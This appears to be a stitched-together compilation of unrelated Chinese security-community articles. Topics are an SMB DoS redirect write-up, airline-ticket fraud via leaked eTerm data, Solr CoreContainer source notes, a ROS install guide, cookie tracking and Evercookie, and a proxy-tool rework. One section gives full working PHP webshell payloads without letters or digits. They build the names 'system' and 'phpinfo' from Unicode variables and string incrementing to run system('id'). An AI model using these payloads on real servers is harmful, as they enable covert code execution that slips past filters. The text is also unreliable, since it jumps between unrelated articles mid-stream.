6\. 一段时间后，受害者Windows 10系统崩溃，显示蓝屏（BSOD），见图5，且自动重启。
图5 执行SMB利用代码后受害者系统显示蓝屏（来源：SecureWorks）
**相关联的攻击方法**
* * *
SecureWorks研究人员发现了其他可能与“重定向到SMB”漏洞一样有效的攻击方法。 图6显示了通过超链接形式引入SMB
DoS利用代码的HTML代码，图7显示了通过引入图像的形式链接SMB DoS利用代码的HTML代码。
图6 超链接至SMB Dos利用代码（来源：SecureWorks）
图7 引入图像连接SMB Dos利用代码（来源：SecureWorks）
SecureWorks研究人员在主流的Web浏览器上测试了这些攻击方法，表1列出了结果。 Internet Explorer和Edge是可利用的。
Firefox和Google Chrome不可利用，因为默认情况下禁用UNC路径。
表1 web浏览器版本及受影响情况
**通过web应用攻击**
* * *
SecureWorks研究人员还发现这些攻击方法还可以与web应用漏洞结合攻击。
例如，图8 所示PHP代码利用未验证的重定向漏洞展示Dos 利用代码，图9 所示攻击链接。
图8 PHP例子展示Dos利用（来源：SecureWorks）
图9 攻击链接例子（来源：SecureWorks）
通过访问链接，SMB重定向漏洞被执行（见图10）
图10 受害者点击链接（来源：SecureWorks）
图11 所示为浏览器发出的HTTP请求，图12所示为服务器返回的HTTP响应，响应包含重定向至SMB
图11 HTTP请求（来源：SecureWorks）
图12 HTTP响应（来源：SecureWorks）
结果为，受害者Windows 10 系统崩溃，显示蓝屏（BSOD）见图13
图13 受害者系统蓝屏 （来源：SecureWorks）
此结果表明未验证的重定向漏洞可用于利用SMB DoS。
还可以使用其他Web应用程序漏洞，如跨站点脚本（XSS），HTTP标头注入，因为可以使用这些漏洞放置攻击链接或重定向。
**总结**
* * *
SecureWorks分析表明，可以使用Web应用程序漏洞（如跨站点脚本（XSS），HTTP标头注入和未验证的重定向）执行SMB 0 day 攻击。
当受害者单击恶意链接时，可以对受害者的Windows系统执行SMB DoS攻击。
SecureWorks研究人员建议用户在发布之后快速执行2017年3月的Windows Update。
作为临时措施，相关人员应考虑阻止从本地网络到外部网络的出站SMB连接（端口139/TCP，445/TCP，137/UDP和138/UDP） | 社区文章 |
# 退改签”诈骗背后，到底谁为黑产大开方便大之门？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上次说完航空公司信息泄露后，没想到清华计算机教授也惨遭此难。在评论区有小伙伴透露说航空公司只是在背锅，那么在这迷雾重重的背后到底是在给谁背锅呢？又是谁给黑产打开了大门呢？
## 航班信息泄露疑点重重
上回聊完航班信息泄露在航空公司的可能，可以做到查询个人的航班信息。但是回头想想，有两处疑点：
① 多家航空公司的信息为何同时泄露？
② 航班信息为何如此实时、准确的泄露？
明星最新航班信息
目前在国内我们主要购票的渠道有航空公司官网和第三方平台，而其中有机会拿到用户订单信息的也就是这两方。但是还有一位身居背后的“神秘人物”。
## 千金平底锅，谁来背
“某航信”是中国民航信息集团旗下的一个重点企业。目前其业务范围覆盖到国内除春秋航空之外的全部航空公司，和300余家外国及地区航空公司。并且2001年就在香港成功上市。
### 几乎所有的航班信息都聚集于此
“某航信”主要负责的是提供的是民用航空的信息服务，俗称GDS(Global Distribution
System全球分销系统)，基本上包含了中国境内所有航班时刻、座位信息、票价和定价规则等等，中航信充当了数据汇总者的角色，它把系统和航班数据提供给旅行社和航空公司，并收取服务费。
简单来说就是全国超过90%的用户购票信息都会录入中航信的信息系统。
而其中最为关键的一个系统——eTerm，eTerm是一个国内民航行业领域内通用的订位操作系统，同时也是这个系统客户端的名称。目前国内除了春秋航空之外，任何一个购票系统查询都是接入eTerm进行操作的，系统分为A系统（机场）、B系统（航空公司）、C（票务代理商）。
eTerm操作界面“黑屏”
有了eTerm账号，你就可以了解到航班具体信息甚至购票乘客的详细信息。这个系统设计的功能较为基础（看上面那个操作界面就了解了…），只要你是一个有机票销售资质的票务代理，就可以直接进入到这个系统之中。全国有这样销售机票资质的代理商有近万家。
这也意味着黑产侵入或者勾结任何一个代理商都能实时、准确的查询航班信息。
### 系统成本高
对于代理商来说，首先申请一个代理资质成本在30万左右（若代理国际票务押金在100万左右）。而eTerm使用成本约5000元/月。对于很多小代理商来说，必定会尽所有可能去实现成本最小化。
### 可“放大共享”与“出租”
而eTerm系统本身的特点也是导致航班信息大量泄漏的重要原因——可以实现“放大共享“。
系统要求一个工作号对应一个用户，这样，每增长一个用户就需要向某航信交一次配置费用，但是代理商在使用eterm中并不会时时刻刻向其服务器发送请求指令的。所以就存在eterm一号多用的可能性，这也为系统在黑产市场进行出租提供了机会。
当我们搜索“eTerm出租”等关键词，相关交易信息全部跑到眼前。
eTerm出租信息
出租信息中按照等级权限和租用时间不同，价格也不一样，能查询国内航班信息的基本行情价格在1500-2000左右一年。
从部分eTerm出租信息来看，他的特色功能甚至可以直接提取当天出票的旅客名单、乃至航班全部记录…
就是这样通过租用系统就可以查询、获取全国90%以上的航班信息，如此看来2015年多家航空公司同时信息泄露也就不难理解了…
多家航空公司同时信息泄露
## 锅不是凭空砸来的
而除了上述的eTerm系统出租可能导致信息泄露之外，还有类似OTA平台（例如某程）和很多抢票软件，这些都可能带来航班信息的泄露
首度发声
但是回到最初我们的疑问：
何者保证了泄露信息的“实时、准确”？亦或者说哪一个渠道是黑产泄露航班信息中的罪魁祸首呢？
当我们搜索关于春秋航空的“虚假改签信息”时发现其明显少于其他航空公司。
春秋航空搜索结果
微博相关信息三条左右，对比其他航空公司相关信息在3-4页。
行业人员评价
## 一点不成熟的小建议
根据《中国民航信息2017年统计报告》显示，仅2017年通过eTerm的结算清算系统就处理了约4.103亿宗交易，而这些交易记录中全部的用户信息只要黑产动动手指，很可能全部被窃。
每日航空系统处理数据量
从2012年开始，航班虚假改签的信息就不断出现，但是中间漏洞环节存在之久，依然略禁不绝的主要原因就是举证困难。购买机票这一个行为，往往要通过购票者本人、第三方购票平台、支付平台、中航信、航空公司等等诸多环节，这其中每个环节又都有泄露的可能性，你很难确凿证明就是某个环节出了问题，很多人都曾因为诈骗起诉过相应的公司，然而最终都是没有结果。
·
2015年10月，南京的马女士因受到退票短信而被骗8662元。起诉以后，被法院以存在疏忽大意的过失，并且难以证明其个人信息在哪一环节泄露，驳回了马女士的上诉请求。
·
2017年8月10日，申女士订机票后，收到“航班取消并退票的手机短信，且在其诱导下开通支付宝亲密支付功能致银行卡被盗刷11.89万。法院认为源头太多难以判定，该案件还在审理中。
· ……
这场隐私之战我们并非只能任人宰割，多个环节可能出现黑产窃取隐私，那么我们也该从多个环节来防止隐私泄露.。
1\.
首先eTerm系统更新升级迫在眉睫，对于“账号放大共享“乃至出租的情况建立举报惩治机制。除了系统设计上做出更多努力，对系统权限做好分级管理，对异常账户进行监管。
2\. 航空公司对于内外部的风险应当同时把控，通过安全产品来加强整体抗攻击能力，防止内外勾结泄露信息。
3\.
我们自身看到改签信息第一时间通过航空公司官方渠道进行查询，尤其涉及到转账等财产安全等信息要更加慎重。（这是唯一我们自身可控的，一定谨慎小心慎重啊！！）
最后附上部分航空公司官方客服热线：
四川航空：95378
海南航空：95339-6
东方航空：3665 8388
南方航空：00 86 400 869 5539
……
关注微信公众号：极验，加入安全行业大佬交流群，还有更多精彩的黑产行业深度报道。 | 社区文章 |
CoreContainer，顾名思义为盛放core的容器
类属性中有很多 Handler，
# 1.首先看构造方法
无参构造方法，会先调用SolrResourceLoader的locateSolrHome方法，
## 1.1 SolrResourceLoader
关于SolrResourceLoader,通过类名来看是Solr的资源加载类，负责加载各种资源到运行环境中，通过ClassLoader以及文件读取加载类、文件资源等，也支持jndi的方式加载，以及一些url以及文件路径处理的方法。
无参构造方法新建了一个SolrResourceLoader对象后，接下来还会调用它本身下一个构造方法，public
CoreContainer(SolrResourceLoader loader)，然后继续往下嵌套，
这里调用了SolrXmlConfig.fromSolrHome，
## 1.2 SolrXmlConfig
这里先看下SolrXmlConfig，Solr中解析并加载solr.xml的文件的类。
分成两段看，首先是返回NodeConfig以from开头的一些静态方法，这些方法是配置加载的核心方法，通过名字来看Solr支持通过不同方式加载配置文件
## 1.3 NodeConfig
这里再看下NodeConfig对象，类似于一个javaBean属性的文件，每个私有属性都对应着solr.xml定义的字段，构造方法接收参数初始化这些字段，这些类属性有各自的get
set方法。
## 1.4 Config(Backto SolrXmlConfig)
回头我们再看SolrXmlConfig，首先是Config对象，JavaBean属性的类，类初始化时根据接收的参数不同，初始化私有类属性，并提供get
set方法操作属性。先来看下类属性都存储了哪些信息(哪些Config，也就是Solr的哪些配置放在这里面),我们主要看下参数最多的构造方法，Solr启动时，
**solrconfig.xml elevate.xml**
配置文件的加载都用到了Config类，这里说一下solrconfig.xml并没有用到这个SolrXmlConfig
接下来大概看下Config类里都有什么
## 1.5 Back to SolrXmlConfig from*方法
再回来看SolrXmlConfig的from*方法就很容易懂了
fromConfig：从Config类中初始化NodeConfig 也是formFile 进入formInputStream 然后被调用的
formFile：从File文件中初始化NodeConfig
formInputStream：new了一个Config对象，然后调用了formConfig
formSolrHome ：调用了FromFile
### fromFile ——> solr.xml
### fromConfig <—— formInputStream <—— fromFile
整体调试下来， **SolrXmlConfig，就是用来加载处理Solr.xml的类** ，看一开始的SOLR_XML_FILE也知道
# 2.好像有点跑题了，继续回到CoreContainer的构造方法
这时再看这些构造方法就好理解多了，看到倒是第二个构造方法从参数看起来，还涉及到看起来比较陌生的一个类CoresLocator
## 2.1 CoresLocator
CoresLocator是一个接口，我想把它翻译成core定位器。只有一个唯一实现的子类CorePropertiesLocator，先看这个接口，CorePropertiesLocator里面超多方法都有CoreDescriptor，所以需要CoreDescriptor的前置知识
## 2.2 CoreDescriptor
Solr核心描述符,描述一个core，看它的私有属性就是用来描述Core的，并接受参数对core进行初始化，支持通过不同方式初始化core
可以看到这些值，是从现成的配置文件中来进行值的读取初始化，
## 2.2 Back to CoreLocator
回头在看CoreLocator，提供了如下方法
creat：创建一个core
persist：core的持久化，服务重启后core仍能够被找到
delete：删除core
rename：core的重命名
swap：交换两个core
discover：从持久性存储中加载所有CoreDescriptor(也就是core)
## 2.3 Back to CorePropertiesLocator
映入眼帘的 就是：
public static final String PROPERTIES_FILENAME = "core.properties";
回忆一下core.properties配置文件的作用：代表一个核心，保存了core的基本配置。里面支持配置core。大概长这个样子
CorePropertiesLocator除了实现了CoresLocator的几个方法外，增加了writePropertiesFiles、buildCoreDescriptor、buildCoreProperties、createName
buildCoreDescriptor：获取CoreDescriptor ，也就是core的信息
writePropertiesFiles：讲core的基本信息写到coreDiscoveryRoot中，默认为C:\Solr\solr-6.4.0\server\solr
buildCoreDescriptor：加载core，并返回build好的core为CoreDescriptor对象
# 3.又跑题了，这里再回到CoreContainer的构造方法
其实分析到这里，讲我们不认识的类都看了一遍，CoreContainer的构造方法也差不都就看完了
其实只不过是this this的一层层调用
# 4.接下来分析CoreContainer中提供了哪些方法
## 4.1 initializeAuthorizationPlugin、addHttpConfigurer、securityNodeChanged
初始化身份认证插件，关于Solr的身份认证另起一篇文章。
## 4.2createAndLoad
创建一个新的CoreContainer并加载其core，其中代码很简单，loader就是SolrResourceLoader，solrHome，SolrXmlConfig加载配置去加载core，但是solr启动时并没有调用到这个方法。
## 4.3 load()
将core加载到CoreContainer.这里仔细跟一下流程
首先时libDir下的资源文件的加载
然后初始化metricManager，Solr报告度量标准，这里略。
然后进行shardHandlerFactory的初始化，shardHandlerFactory在solr.xml文件中有配置，用于处理创建自定义分片处理程序。
然后是zk初始化
然后是admin系列的Handler的初始化
然后读取core放进SolrCores中
## 4.4 一些小方法
readVersion 获取版本
checkForDuplicateCoreNames 检查core名称是否重复
还有一些生命周期相关的 star shutdown等
# 5.SolrCores
一个存放cores的...类，感觉跟Corecontainer好像，应该算是Corecontainer中真正存放core的地方。 | 社区文章 |
收藏即为会了!!!!!!
还没有看过P神两篇文章的走这里
[一些不包含数字和字母的webshell](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html "一些不包含数字和字母的webshell")
[无字母数字webshell之提高篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html "无字母数字webshell之提高篇")
# Unicode码运用
## 1.原理
P神在他[文章](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
"文章")中指出:
我们可以使用`[].Φ`来得到字符串Array.
我们可以得到我们想要的构造payload:
使用说明
- 'ArrayΦ' <-> [].Φ
- 1 <-> ![]
- 'a' <-> ([].Φ)[![]+![]+![]]
- 'b' <-> $a = 'a'; $b=++$a;
- 'system' <-> $η.$ν.$η.$θ.$Ω.$α
- 'system'(id) <-> system('id')
如图,自己构造可能比较麻烦,直接查照上图,如果需要Unicode码,[这里](https://graphemica.com/unicode/characters/page/4
"这里")找.
/* system(id) */
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ#b?><?=$Ψ=++$Χ#c?><?=$Ω=++$Ψ#d?><?=$Ϊ=++$Ω#e?><?=$Ϋ=++$Ϊ#f?><?=$ά=++$Ϋ#g?><?=$έ=++$ά#h?><?=$ή=++$έ#i?><?=$ί=++$ή#j?><?=$ΰ=++$ί#k?><?=$α=++$ΰ#l?><?=$β=++$α#m?><?=$γ=++$β#n?><?=$δ=++$γ#o?><?=$ε=++$δ#p?><?=$ζ=++$ε#q?><?=$η=++$ζ#r?><?=$θ=++$η#s?><?=$ι=++$θ#t?><?=$κ=++$ι#u?><?=$λ=++$κ#v?><?=$μ=++$λ#w?><?=$ν=++$μ#x?><?=$ξ=++$ν#y?><?=$ο=++$ξ#z?><?=$ο=([].Φ)[![]+![]+![]]#a?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>
## 2.缩短
前面我们依次把字母赋值给不同的Unicode码,现在我们可以只用一个Unicode码遍历所有的字母,然后再取值我们需要的那个值.这样就减少了Unicode码的使用.
# phpinfo()
<?=$Φ=([].Φ)[![]+![]+![]]#a?><?=++$Φ#b?><?=++$Φ#c?><?=++$Φ#d?><?=++$Φ#e?><?=$α=++$Φ#f?><?=++$Φ#g?><?=$ν=++$Φ#h?><?=$θ=++$Φ#i?><?=++$Φ#j?><?=++$Φ#k?><?=++$Φ#l?><?=++$Φ#m?><?=$Ω=++$Φ#n?><?=$λ=++$Φ#o?><?=$η=++$Φ#p?><?=++$Φ#q?><?=++$Φ#r?><?=++$Φ#s?><?=++$Φ#t?><?=++$Φ#u?><?=++$Φ#v?><?=++$Φ#w?><?=++$Φ#x?><?=++$Φ#y?><?=++$Φ#z?><?=($η.$ν.$η.$θ.$Ω.$α.$λ)()?>
## 3.压榨
前面我们知道可以使用`[].Φ` 来得到 字符串`Array`.用`![]+![]+![]` 得到字符`a`,那我们不要`a`,而使用第一个字符`A`.
- 'a' <-> ([].Φ)[![]+![]+![]]
- 'A' <-> ([].Φ)['']
<?=$Φ=([].Φ)['']?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=$α=++$Φ?><?=++$Φ?><?=$ν=++$Φ?><?=$θ=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=$Ω=++$Φ?><?=$λ=++$Φ?><?=$η=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=++$Φ?><?=($η.$ν.$η.$θ.$Ω.$α.$λ)()?>
# 补充
## 1.Unicode补充
<?php | 社区文章 |
From： **[Arkteam](http://www.arkteam.net/?p=1550)**
作者： **[Wellee](http://www.arkteam.net/?author=32)**
随着互联网络的广泛普及，数以亿计网民的网络行为数据早已成为最宝贵的资源，企业通过五花八门的各种手段了解网民的行为和隐私数据，用于广告投递、用户兴趣分析等，进而作为决策的依据，利用Web客户端对用户行为进行收集和追踪是重要手段之一。
## 一、 Web客户端追踪技术概述
Web客户端追踪，主要是指用户使用客户端（通常是指浏览器）访问Web网站时，Web服务器通过一系列手段对用户客户端进行标记和识别，进而关联和分析用户行为的技术。
实际上，只要通过Web进入互联网的海洋，Web客户端追踪几乎无时不刻不在发生。当你网购时，即便没有登录，关掉浏览器后购物车的物品也不会消失；当你访问其他新闻、娱乐网站时，弹出的广告往往都是近期浏览购物网站的类似商品；稍有意识的用户可能会不定时清空浏览器缓存、使用“无痕浏览”、“隐私保护模式”等，然而仍然不能阻止类似广告的洗脑。
现实世界可通过体貌特征、身份证件、生物特征（如指纹信息）等手段对用户进行唯一性识别，Web世界主要通过Cookies技术、浏览器指纹、WebRTC等技术进行识别。本文主要对Cookies技术进行介绍。
## 二、 典型追踪技术—Cookie追踪
### 1\. Cookie简介
Cookie，有时也用复数形式Cookies，在Web世界中其实际上是用户浏览网站时，网站存储在用户浏览器上的一段信息，并在服务器和浏览器之间传递，用户与辨别用户身份和维持状态。通常是以cookies:user@domain格式命名的，user是你的本地用户名，domain是所访问的网站的域名。在现有Windows系统中，一般存放位置在C:\Users\user\AppData\Local\Microsoft\Windows\TemporaryInternet
Files\文件夹下。
Cookie利用网页代码中的HTTP头信息，伴随着用户请求和页面在 Web
服务器和浏览器之间传递。当你在浏览器地址栏中键入了服务的URL，浏览器会向服务器发送一个读取网页的请求，并将结果回显。在发送之前，该网页在你的电脑上寻找服务网站设置的Cookie文件，如果找到，浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到服务器。
服务器收到Cookie数据，就会在他的数据库中检索你的ID，你的购物记录、个人喜好等信息，并记录下新的内容，增加到数据库和Cookie文件中去。如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合，则说明你是第一次浏览该网站，服务器的CGI程序将为你创建新的ID信息，并保存到数据库中。
以添加购物车为例，Cookies的大致利用过程可表示为：
①、用户第一次访问购物网站：
②、用户第二次访问网站：
③、浏览器查看Cookies如下：
当然Cookie的用途还远远不止以上所述，我们日常工作中所能见到的第三方监测工具如doubleclick、99click等也都需要利用Cookie技术，网站分析工具如GA、百度统计、CNZZ等也需要利用Cookie。
### 2\. Evercookie
以上所说的Cookie都是指HTTPCookies。HTTP
Cookie是基于浏览器的，一方面当电脑有多个浏览器时，服务器会生成多个Cookie，虽然是同一个人，但服务器识别为多个用户。另一方面，同一台电脑多人使用同一个浏览器时，服务器也只会生成一个Cookie，虽然是多个人，但服务器识别为一个用户。HTTP
Cookies有数量限制，大多数浏览器支持最大为4096字节的Cookie，而且只允许每个站点存储30或50个Cookie（不同浏览器支持的数量不同），当超过时，最早的Cookie便被删除。
有一种Cookie：FlashCookie可以跨浏览器共享，不管用户计算机上安装了多少个浏览器，FlashCookie都能够使所有得浏览器共用一个Cookie。Flash
Cookie可以容纳最多10万字节的数据，远远超过HTTP Cookie的4096字节。所有浏览器都提供了清除HTTP
Cookie的快捷方式，但FlashCookie没有这种快捷方式，并且其保存位置较为隐蔽，一般网民难以将其清除。
Evercookie是一个用于在浏览器中持久化Cookie的JavaScriptAPI。Evercookie故名思义其可以让Cookie存储在非Cookie目录，例如Flash
Cookie和HTML5
Storage。简单的说，其为了防止用户通过清空浏览器缓存等方式清除已保存的Cookie，Evercookie将UserID和Cookie
Data通过多种机制保存到系统多个地方（见下图），其中就有上述HTTPCookies、Flash Cookie——如开启本地共享对象(Local
Shared Objects)甚至可以跨浏览器传播、Web
History以及一些HTML5存储特性。如果用户删除其中某几处的Cookie，当Evercookie发现用某种机制存储的Cookie被数据将删除之后，它将利用其它机制创建的Cookie数据来重新创建仍然可以恢复Cookie，大多数用户对这些Cookie保存技术不甚了解，他们不大可能彻底清除某一Cookie。
目前，其支持的存储机制如上图，开源代码：[ **https://**](https://github.com/samyk/evercookie)[
**github.com/samyk/evercookie**](https://github.com/samyk/evercookie)
### 3\. Cookie同步
Cookie同步一般是指用户访问某A网站时，该网站通过页面跳转等方式将用户的Cookie发送到B网站，使得B网站获取到用户在A网站的用户隐私信息，然后通过RTB（Real
Time Bidding）、AdNetwork等一系列平台进行有效的广告推送服务(此部分涉及SSP、DSP、RTB、DMP等一系列广告推送服务和平台)。
如上图，用户通过浏览器访问A网站，浏览器将A网站的Cookie一同发送到A服务器，A网站服务器通过该Cookie获取到用户的跟踪ID信息，并构造一个包含用户ID信息的跳转URL，浏览器接收后进行页面跳转，跳转到B网站的同时将B网站的Cookie信息一同发送到B网站，B网站便可将该用户在A网站的信息和本网站的信息进行关联，从而进行后续的针对性的广告推送等服务。
研究人员通过访问了Alexa排名前1500网站，发现两个追踪者进行Cookie同步以后，可以把数据完全共享，就像是一个追踪者一样。利用Cookie同步可以一定程度防止用户清除Cookie，当用户清除同步网站一方的Cookie后，如果同步的另一方利用一定手段（如上述Evercookie）恢复了Cookie，则经过同步后可以将网站双方Cookie数据重新恢复关联。
如上图，步骤1，用户访问A网站，其User
ID为123，Cookie记录其历史记录（cnn.com，nyt.com）。步骤2，其与B网站进行Cookie同步，B网站的Cookie为ABC。此时B网站将两者进行关联，得知ABC用户在A网站的历史记录。步骤3，用户删除本地存储的Cookie，并重新浏览A网站，此时A网站之前的Cookie已经失效，便重新生成Cookie，其User
ID为456，历史记录为yahoo.com等。步骤4，假设网站B利用Evercookie恢复了其Cookie（上图未表示），并重新进行Cookie同步，因其User
ID都是ABC，此时便可将456的User ID和123的User ID进行关联，得知用户的所有历史记录。
不少安全工具甚至是浏览器都允许或者引导关闭追踪Cookie，Cookie追踪越来越受限制，浏览器指纹追踪渐渐成为了Web追踪的重要技术手段，且听下回分解。
## 三、 参考资料
* [1] <http://samy.pl/evercookie/>
* [2] <http://freedom-to-tinker.com/2014/08/07/the-hidden-perils-of-cookie-syncing/>
* [3] <https://securehomes.esat.kuleuven.be/~gacar/persistent/index.html>
* [4] <http://cseweb.ucsd.edu/~hovav/papers/ms12.html>
* [5] <http://blog.csdn.net/xybsos/article/details/41146007>
* * * | 社区文章 |
# ROS系统的本地搭建
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 写在前面
有关ROS系统的相关知识已经在上一篇文章中进行了阐述，在本篇文章中，将就ROS的进一步搭建方法做阐述。
**⚠️：本文中“消息代理”、“主服务器”、“Master Server”是相同的意思，可以互换。**
## 0x01 关于版本选择
目前稳定的ROS系统有三个版本可供选择
ROS 系统版本号 | 最后支持期限 | 对应的Ubuntu系统 | Logo
---|---|---|---
ROS Kinetic Kame | 2021年4月 | Ubuntu 16.04 LTS |
ROS Melodic Morenia | 2023年5月 | Ubuntu 18.04 LTS |
ROS Noetic Ninjemys | 2025年5月 | Ubuntu 20.04 LTS |
我们此处以`ROS Melodic Morenia`为例进行本地环境的搭建，选用`Ubuntu 18.04 LTS`。
⚠️：尽管实际的ROS交互并不需要任何的图形化界面，但是为了演示方便，我们此处还是选用带有用户图形界面的`Desktop`版本。
## 0x02 本地搭建ROS环境
### 配置apt仓库
使用以下命令启用`restricted`、`universe`和`multiverse`存储库。
sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu $(lsb_release -sc) main universe restricted multiverse"
这里也可以换成阿狸云的存储库链接，但是必须是包含`restricted`、`universe`和`multiverse`的。
### 配置sources.list
使用以下命令启用`ros`存储库。
sudo sh -c '. /etc/lsb-release && echo "deb http://mirrors.sjtug.sjtu.edu.cn/ros/ubuntu/ `lsb_release -cs` main" > /etc/apt/sources.list.d/ros-latest.list'
这里给出一些其他的镜像源以供选择：
🇨🇳中国科学技术大学：http://mirrors.ustc.edu.cn/ros/ubuntu/
🇨🇳清华大学：http://mirrors.tuna.tsinghua.edu.cn/ros/ubuntu/
🇨🇳北京外国语大学：http://mirrors.bfsu.edu.cn/ros/ubuntu/
🇨🇳上海交通大学：http://mirrors.sjtug.sjtu.edu.cn/ros/ubuntu/
🇺🇸官方：http://packages.ros.org/ros/ubuntu
### 设置GPG密钥
使用以下命令启用`GPG`密钥。
sudo apt-key adv --keyserver 'hkp://keyserver.ubuntu.com:80' --recv-key C1CF6E31E6BADE8868B172B4F42ED6FBAB17C654
若多次超时，可以使用如下命令进行替换：
sudo apt-key adv --keyserver 'hkp://pgp.mit.edu:80' --recv-key C1CF6E31E6BADE8868B172B4F42ED6FBAB17C654
curl -sSL 'http://keyserver.ubuntu.com/pks/lookup?op=get&search=0xC1CF6E31E6BADE8868B172B4F42ED6FBAB17C654' | sudo apt-key add -
curl -sSL 'http://pgp.mit.edu/pks/lookup?op=get&search=0xC1CF6E31E6BADE8868B172B4F42ED6FBAB17C654' | sudo apt-key add -
### 更新软件包并安装完整版的ROS软件包
使用如下命令更新软件源与软件包
sudo apt-get update && sudo apt-get upgrade
然后安装ROS系统(完整版)：包括ROS基本通讯协议包、`rqt`工具包、`rviz`工具、机器人通用库、`2D/3D`模拟器、导航以及`2D/3D`感知包。
sudo apt install ros-melodic-desktop-full
除了完整版我们还可以选择安装非完整版的子包
* 桌面版(`Desktop`)：包括ROS基本通讯协议包、`rqt`工具包、`rviz`工具、机器人通用库
sudo apt install ros-melodic-desktop
* 核心版(`Core`)：包括ROS基本通讯协议包
sudo apt install ros-melodic-ros-base
* 独立版：
sudo apt install ros-melodic-PACKAGE
例如：
sudo apt install ros-melodic-slam-gmapping
若想知道所有的可安装独立模块，可使用以下命令查询
sudo apt search ros-melodic
### 初始化`rosdep`
接下来因为要与`raw.githubusercontent.com`交互获取内容以完成初始化动作，因此需要先对`host`配置进行修改
执行`sudo vi /etc/hosts`
在最后添加一行`151.101.84.133 raw.githubusercontent.com`
接下来执行以下命令以完成初始化
sudo rosdep init
rosdep update
**🚫：在执行`rosdep update`时切勿使用`sudo`。**
至此，我们对于ROS环境的安装全部完成。
### 配置环境变量(非必须)
可以使用以下命令来自动的添加环境变量的配置
echo "source /opt/ros/melodic/setup.bash" >> ~/.bashrc
source ~/.bashrc
**⚠️：若不进行此步骤，在接下来进行测试操作以及后续构建工程时都需要执行`source
/opt/ros/melodic/setup.bash`来使环境变量生效。**
### 安装必要小工具
可以使用以下命令来安装一些工具以方便我们后续构建项目。
sudo apt-get install python-rosinstall python-rosinstall-generator python-wstool build-essential
## 0x03 测试小乌龟项目【需要桌面环境】
小乌龟项目是内置在ROS系统中的用于测试的项目，此项目中同时用到了发布者-订阅者消息模式和客户端-服务端消息模式。
### 启动`Master Server`
首先，若还记得之前在”物联网协议——MQTT与ROS”一文中提到的消息代理的概念，对于ROS系统，不论是使用了哪种消息模式都需要启动一个消息代理用于将消息分发到合适的消息接收端。
那么，我们需要使用`roscore`启动一个主服务器以充当`master server`。
这里我们做以下几点补充说明：
1. `roscore`会默认将 **计算机名** 作为主服务器的host，此时，ROS系统仅能用于 **本地测试** 。
2. 可以使用环境变量来控制`roscore`的启动行为，其中，最重要的三个环境变量是：
* `ROS_ROOT`：此环境变量必须指向ROS环境的安装位置，当系统中安装了多个版本的ROS软件包时，需要使用此环境变量进行手动指定。(默认值：`/opt/ros/melodic/share/ros`)
* `ROS_MASTER_URI`：此环境变量必须指向ROS主服务器的完整地址，当我们想把主服务器暴露在网络中时，需要使用此环境变量进行手动指定。(默认值：(空)，建议值：`http://0.0.0.0:11311`)
* `PYTHONPATH`：此环境变量必须指向ROS系统所使用的Python环境位置，由于ROS系统底层的部分模块需要依赖Python，因此尽管我们可以使用其他语言构建项目，但是为了保证运行无误必须配置Python环境，ROS系统安装时已经默认一并安装了Python，当我们需要更换时需要手动指定。(默认值：`/opt/ros/melodic/lib/python2.7/dist-packages`)
3. 如果不使用`&`标志符限定，默认此服务将会在前台运行，在进行接下来的测试时请务必不要关闭一开始的窗口。
### 启动`node`观察器
现在我们可以使用`rosnode`这个小工具来查看目前的ROS系统中存在哪些节点
这个节点就是由消息代理启动的一个用于管理消息发送接收的节点，正如之前说过的，ROS系统与MQTT不同，他是一个高度集成的系统，同时支持两种消息模式。那么，`/rosout`事实上就拥有了三种属性：
* 订阅者：`/rosout`可以作为订阅者，订阅若干其他节点，用于具有多播特性的`Pub-Sub mode`。
* 发布者：`/rosout`可以作为发布者，向其他若干节点发布消息，用于具有多播特性的`Pub-Sub mode`。
* 服务者：`/rosout`可以作为服务端，提供若干服务以供其他节点发起调用，用于具有单播特性的`CS mode`。
我们可以使用`rosnode info`命令去看到其所有的订阅者、发布目标以及服务列表，此外，还能看到此节点的位置以及PID。
**⚠️：在ROS系统中，为了最高效的利用资源，当我们启动一个新节点时，默认策略会使得主服务器随机选择一个可用端口进行节点绑定，当有其他节点想要链接此节点时只需要向消息代理询问即可，这个策略尽管实现了空间解耦，但是阻碍了我们利用ROS系统进行CTF竞赛的命题，因为无法动态的进行docker的端口映射，如果有读者可以解决此问题，请在本文评论区发布评论，笔者在此感激不尽。**
### 启动小乌龟节点【需要桌面环境】
接下来我们使用`rosrun turtlesim turtlesim_node`命令启动小乌龟节点
此时或许可以发现，每次启动小乌龟节点时，小乌龟的皮肤都不相同，我们重新使用`rosnode`命令观察节点
我们可以发现以下几点：
* 小乌龟节点`/turtlesim`已经对`/rosout`这个节点产生了订阅关系。
* `/turtlesim`同样提供了若干话题以及若干服务。
那么，如果我们不想用`/turtlesim`这个节点名，ROS系统事实上提供了自定义节点名称的参数。
首先关闭小乌龟节点启动的节点或者在小乌龟节点的终端使用`Ctrl + C`来终止，之后使用命令`rosrun turtlesim
turtlesim_node __name:=myturtle1`启动，启动后再次查看`node`信息：
可以发现，这个节点的名字已经改变了。 | 社区文章 |
Author: lz520520@深蓝攻防实验室
# 前言
上一次就做了一些基础优化，这次需要改造的点复杂了一点，需要对项目代码解析更透彻点，话不多说，开始动手。
# http（失败）
为了实现代理工具过CDN隐藏IP，先使用http封装来测试，最终失败了，这里记录下测试过程中的一些细节。
修改protocol包，分开为client和server。
修改后，还有一处问题，最开始有个预认证，主要是判断双方的key是否一致。
share/preauth.go
可以看到传入key，计算md5，取前16位判断。
这里仔细想了想，之前frp封装失败了，本以为是会话问题，但其实可能是这个流量模式问题，有时候会从服务端主动推流量给客户端，这样可能会导致cdn不转发流量，从而客户端无法接收。
